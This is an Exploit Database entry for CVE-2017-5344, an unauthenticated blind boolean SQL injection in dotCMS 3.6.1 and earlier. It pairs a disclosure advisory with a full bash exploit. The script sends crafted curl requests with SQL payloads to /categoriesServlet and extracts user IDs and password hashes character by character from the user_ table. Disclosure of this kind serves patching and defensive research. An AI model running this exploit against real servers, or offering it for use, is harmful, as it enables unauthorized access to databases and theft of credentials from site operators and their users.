dotCMS 3.6.1 – Blind Boolean SQL Injection

• Exploit Database
• 19 阅读

• 作者： Ben Nott
  日期： 2017-02-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41377/

• : '
  # Blind Boolean SQL Injection in dotCMS <= 3.6.1 (CVE-2017-5344)
  
  ## Product Description
  
  dotCMS is a scalable, java based, open source content management system
  (CMS) that has been designed to manage and deliver personalized, permission
  based content experiences across multiple channels. dotCMS can serve as the
  plaform for sites, mobile apps, mini-sites, portals, intranets or as a
  headless CMS (content is consumed via RESTful APIs). dotCMS is used
  everywhere, from running small sites to powering multi-node installations
  for governemnts, Fortune 100 companies, Universities and Global Brands. A
  dotCMS environment can scale to support hundreds of editors managing
  thousands of sites with millions of content objects.
  
  ## Vulnerability Type
  
  Blind Boolean SQL injection
  
  ## Vulnerability Description
  
  dotCMS versions up to 3.6.1 (and possibly others) are vulnerable to blind
  boolean SQL injection in the q and inode parameters at the
  /categoriesServlet path. This servlet is a remotely accessible,
  unauthenticated function of default dotCMS installations and can be
  exploited to exfiltrate sensitive information from databases accessible to
  the DMBS user configured with the product.
  
  Exploitation of the vulnerability is limited to the MySQL DMBS in 3.5 -
  3.6.1 as SQL escaping controls were added to address a similar
  vulnerability discovered in previous versions of the product. The means of
  bypassing these features which realise this vulnerability have only been
  successfully tested with MySQL 5.5, 5.6 and 5.7 and it is believed other
  DMBSes are not affected. Versions prior to 3.6 do not have these controls
  and can be exploited directly on a greater number of paired DMBSes.
  PostgreSQL is vulnerable in all described versions of dotCMS when
  PostgreSQL standard_confirming_strings setting is disabled (enabled by
  default).
  
  The vulnerability is the result of string interpolation and directly SQL
  statement execution without sanitising user input. The intermediate
  resolution for a previous SQLi vulnerability was to whitelist and partially
  filter user input before interpolation. This vulnerability overcomes this
  filtering to perform blind boolean SQL injection. The resolution to this
  vulnerability was to implement the use of prepared statements in the
  affected locations.
  
  This vulnerability has been present in dotCMS since at least since version
  3.0.
  
  ## Exploit
  
  A proof of concept is available here:
  https://github.com/xdrr/webapp-exploits/tree/master/vendors/dotcms/2017.01.blind-sqli
  
  ## Versions
  
  dotCMS <= 3.3.2 and MYSQL, MSSQL, H2, PostgreSQL
  
  dotCMS 3.5 - 3.6.1 and (MYSQL or PostgreSQL w/ standard_confirming_strings
  disabled)
  
  ## Attack Type
  
  Unauthenticated, Remote
  
  ## Impact
  
  The SQL injection vulnerability can be used to exfiltrate sensitive
  information from the DBMS used with dotCMS. Depending of the DBMS
  configuration and type, the issue could be as severe as establishing a
  remote shell (such as by using xp_exec on MSSQL servers) or in the most
  limited cases, restricted only to exfiltration of data in dotCMS database
  tables.
  
  ## Credit
  
  This vulnerability was discovered by Ben Nott <pajexali@gmail.com>.
  
  Credit goes to Erlar Lang for discovering similar SQL injection
  vulnerabilities in nearby code and for inspiring this discovery.
  
  ## Disclosure Timeline
  
  * Jan 2, 2017 - Issue discovered.
  * Jan 2, 2017 - Vendor advised of discovery and contact requested for
  full disclosure.
  * Jan 4, 2017 - Provided full disclosure to vendor.
  * Jan 5, 2017 - Vendor acknowledged disclosure and confirmed finding
  validity.
  * Jan 14, 2017 - Vendor advised patch developed and preparing for release.
  * Jan 24, 2017 - Vendor advised patching in progress.
  * Feb 15, 2017 - Vendor advises ready for public disclosure.
  
  ## References
  
  Vendor advisory: http://dotcms.com/security/SI-39
  CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5344
  '
  
  #!/bin/bash
  #
  # Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.
  # CVE: CVE-2017-5344
  # Author: Ben Nott <pajexali@gmail.com>
  # Date: January 2017
  #
  # Note this exploit is tuned for MySQL backends but can be adapted
  # for other DMBS's.
  
  show_usage() {
  echo "Usage $0 [target]"
  echo
  echo "Where:"
  echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"
  echo
  echo "For example:"
  echo
  echo "$0 http://www.examplesite.com"
  echo "$0 https://www.mycmssite.com:9443"
  echo
  exit 1
  }
  
  test_exploit() {
  target=$1
  res=$(curl -k -s -X 'GET' \
   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
   "${target}/categoriesServlet?q=%5c%5c%27")
  
  if [ $? -ne 0 ];
  then
  echo "Failed to connect. Check host and try again!"
  exit 1
  fi
  
  if [ -z "$res" ];
  then
  echo "The target appears vulnerable. We're good to go!"
  else
  echo "The target isn't vulnerable."
  exit 1
  fi
  }
  
  dump_char() {
  target=$1
  char=$2
  database=$3
  index=$4
  offset=$5
  column=$6
  avg_delay=$7
  
  if [ -z "$offset" ];
  then
  offset=1
  fi
  
  if [[ $char != *"char("* ]];
  then
  char="%22${char}%22"
  fi
  
  if [ -z "$column" ];
  then
  column="password_"
  fi
  
  # Controls the avg delay of a FALSE
  # request
  if [ -z "$avg_delay" ];
  then
  avg_delay="0.100"
  fi
  
  res=$(curl -k -sS \
  -w " %{time_total}" \
  -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
  "${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")
  data=$(echo $res | awk '{print $1}')
  rtt=$(echo $res | awk '{print $2}')
  
  # Calculate boolean based on time delay and
  # data presence.
  has_delay=$(echo "${rtt}>${avg_delay}" | bc -l)
  if [ ! -z "$data" ];
  then
  if [ $has_delay -eq 1 ];
  then
  echo "$char"
  fi
  fi
  }
  
  testdb() {
  target=$1
  res=$(dump_char $target 1 "dotcms" 1 1)
  if [ ! -z "$res" ];
  then
  echo "dotcms"
  else
  res=$(dump_char $target 1 "dotcms2")
  if [ ! -z "$res" ];
  then
  echo "dotcms2"
  fi
  fi
  }
  
  convert_char() {
  char=$1
  conv="$char"
  
  if [ "$char" == "char(58)" ];
  then
  conv=":"
  elif [ "$char" == "char(47)" ];
  then
  conv="/"
  elif [ "$char" == "char(61)" ];
  then
  conv="="
  elif [ "$char" == "char(45)" ];
  then
  conv="-"
  fi
  
  echo -n "$conv"
  }
  
  a2chr() {
  a=$1
  printf 'char(%02d)' \'$a
  }
  
  n2chr() {
  n=$1
  printf 'char(%d)' $n
  }
  
  chr2a() {
  chr=$1
  chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')
  chr=`printf \\\\$(printf '%03o' $chr)`
  echo -n $chr
  }
  
  iter_chars() {
  target=$1
  db=$2
  user=$3
  offset=$4
  column=$5
  for c in {32..36} {38..94} {96..126}
  do
  c=$(n2chr $c)
  res=$(dump_char $target $c $db $user $offset $column)
  
  if [ ! -z "$res" ];
  then
  chr2a $res
  break
  fi
  done
  }
  
  exploit() {
  target=$1
  db=$(testdb $target)
  
  if [ -z "$db" ];
  then
  echo "Unable to identify database name used by dotcms instance!"
  exit 1
  fi
  
  echo "Dumping users and passwords from database..."
  echo
  
  for user in $(seq 0 1023);
  do
  validuser=1
  echo -n "| $user | "
  for offset in $(seq 1 1024);
  do
  res=$(iter_chars $target $db $user $offset "userid")
  
  if [ -z "$res" ];
  then
  if [ $offset -eq 1 ];
  then
  validuser=0
  fi
  break
  fi
  
  echo -n "$res";
  done
  
  if [ $validuser -eq 1 ];
  then
  printf " | "
  else
  printf " |\n"
  break
  fi
  for offset in $(seq 1 1024);
  do
  res=$(iter_chars $target $db $user $offset "password_")
  
  if [ -z "$res" ];
  then
  break
  fi
  
  echo -n "$res";
  done
  printf " |\n"
  done
  echo
  echo "Dumping complete!"
  }
  
  target=$1
  
  if [ -z "$target" ];
  then
  show_usage
  fi
  
  test_exploit $target
  exploit $target